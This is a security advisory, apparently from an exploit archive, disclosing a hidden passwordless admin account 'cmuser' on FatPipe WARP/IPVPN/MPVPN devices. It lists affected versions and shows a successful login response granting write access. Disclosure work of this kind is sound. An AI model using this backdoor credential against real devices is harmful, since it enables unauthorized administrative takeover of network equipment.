# Exploit Title: FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Hidden Backdoor Account (Write Access)
# Date: 25.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.fatpipeinc.com

FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Hidden Backdoor Account (Write Access)


Vendor: FatPipe Networks Inc.
Product web page: https://www.fatpipeinc.com
Affected version: WARP / IPVPN / MPVPN
                  10.2.2r38
                  10.2.2r25
                  10.2.2r10
                  10.1.2r60p82
                  10.1.2r60p71
                  10.1.2r60p65
                  10.1.2r60p58s1
                  10.1.2r60p58
                  10.1.2r60p55
                  10.1.2r60p45
                  10.1.2r60p35
                  10.1.2r60p32
                  10.1.2r60p13
                  10.1.2r60p10
                  9.1.2r185
                  9.1.2r180p2
                  9.1.2r165
                  9.1.2r164p5
                  9.1.2r164p4
                  9.1.2r164
                  9.1.2r161p26
                  9.1.2r161p20
                  9.1.2r161p17
                  9.1.2r161p16
                  9.1.2r161p12
                  9.1.2r161p3
                  9.1.2r161p2
                  9.1.2r156
                  9.1.2r150
                  9.1.2r144
                  9.1.2r129
                  7.1.2r39
                  6.1.2r70p75-m
                  6.1.2r70p45-m
                  6.1.2r70p26
                  5.2.0r34

Summary: FatPipe Networks invented the concept of router-clustering,
which provides the highest level of reliability, redundancy, and speed
of Internet traffic for Business Continuity and communications. FatPipe
WARP achieves fault tolerance for companies by creating an easy method
of combining two or more Internet connections of any kind over multiple
ISPs. FatPipe utilizes all paths when the lines are up and running,
dynamically balancing traffic over the multiple lines, and intelligently
failing over inbound and outbound IP traffic when ISP services and/or
components fail.

FatPipe IPVPN balances load and provides reliability among multiple
managed and CPE based VPNs as well as dedicated private networks. FatPipe
IPVPN can also provide you an easy low-cost migration path from private
line, Frame or Point-to-Point networks. You can aggregate multiple private,
MPLS and public networks without additional equipment at the provider's
site.

FatPipe MPVPN, a patented router clustering device, is an essential part
of Disaster Recovery and Business Continuity Planning for Virtual Private
Network (VPN) connectivity. It makes any VPN up to 900% more secure and
300% times more reliable, redundant and faster. MPVPN can take WANs with
an uptime of 99.5% or less and make them 99.999988% or higher, providing
a virtually infallible WAN. MPVPN dynamically balances load over multiple
lines and ISPs without the need for BGP programming. MPVPN aggregates up
to 10Gbps - 40Gbps of bandwidth, giving you all the reliability and speed
you need to keep your VPN up and running despite failures of service, line,
software, or hardware.

Desc: The application has a hidden administrative account 'cmuser' that has
no password and has write access permissions to the device. The user cmuser
is not visible in Users menu list of the application.

Tested on: Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5684
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5684.php


30.05.2016
25.07.2021

--


Overview:
FatPipe Central Manager is a secure web based solution providing a centralized solution
to manage FatPipe's suite of WAN reliability and optimization products. Central Manager
allows you to configure, manage and monitor FatPipe's patented MPSec technology at the
click of a button.

Central Manager = cmuser.
Once authenticated, you get admin rights.

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Strict-Transport-Security: max-age=31536000
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 118
Date: Fri, 06 Aug 2017 16:37:07 GMT
Connection: close

{"loginRes":"success","userName":"userName","userAccess":"writeAccess","activeUserName":"cmuser","message":"noError"}